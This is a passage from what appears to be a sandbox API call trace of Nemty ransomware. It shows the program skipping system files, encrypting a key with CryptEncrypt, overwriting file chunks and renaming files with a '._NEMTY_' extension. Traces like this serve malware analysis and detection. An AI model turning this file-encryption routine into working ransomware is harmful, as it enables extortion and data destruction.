lpString2="$RECYCLE.BIN") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0083.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0083.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0083.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340048 [0083.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0083.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0083.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0083.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0083.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0083.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0083.662] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0083.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0083.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0083.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0083.662] Sleep (dwMilliseconds=0x5) [0083.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5859430, dwHighDateTime=0x1d561e7)) [0083.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5859430, dwHighDateTime=0x1d561e7)) [0083.676] GetLastError () returned 0x5 [0083.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0083.676] GetLastError () returned 0x5 [0083.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0083.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.676] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0083.676] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0083.677] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0083.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0083.677] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="jq5ANanEcQiJENMrdNK8OQZNcWLeBhFDBe9lsPNB4Ynv7fP27EbNSFlz3Jw5tWYS\r\nduUNzBUGXgSuBFsZzoBFSrH868n1mNo2NJOhVnUGaRSaI7cFlctL2rBGTyi5Ej9S\r\nyhlt0uxNaBvz4purl0eGYMN/s+6uHSfhyJkNMYGjtHIleSTyUUj+lTC2HfgdVjro\r\nED/R19AqofeCydtIr+E0wP5cUkNmiO4/SNWoYixKcga6drhPhiC+nfwvV18qZoHD\r\n0/+HffoqOv7odyST7nTefwqzoo05DgvL5PqozsaC2SZ+Te/S0MBJZ8jf9da8yUk7\r\n0a+sXjQjU1U/PKddDIOWFA==\r\n", pcchString=0x653e91c) returned 1 [0083.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0083.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0083.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0083.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0083.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0083.677] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.677] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0083.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0083.677] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.677] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.687] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.696] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.696] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.696] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.706] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.715] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.762] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.762] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.780] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.786] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.786] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.786] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0083.792] CloseHandle (hObject=0xffffffff) returned 0 [0083.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0083.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0083.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0083.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0083.793] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.793] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0083.793] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.793] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned -1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0083.793] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0083.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0083.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0083.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0083.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0083.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0083.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0083.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0083.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0083.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0083.794] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0083.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 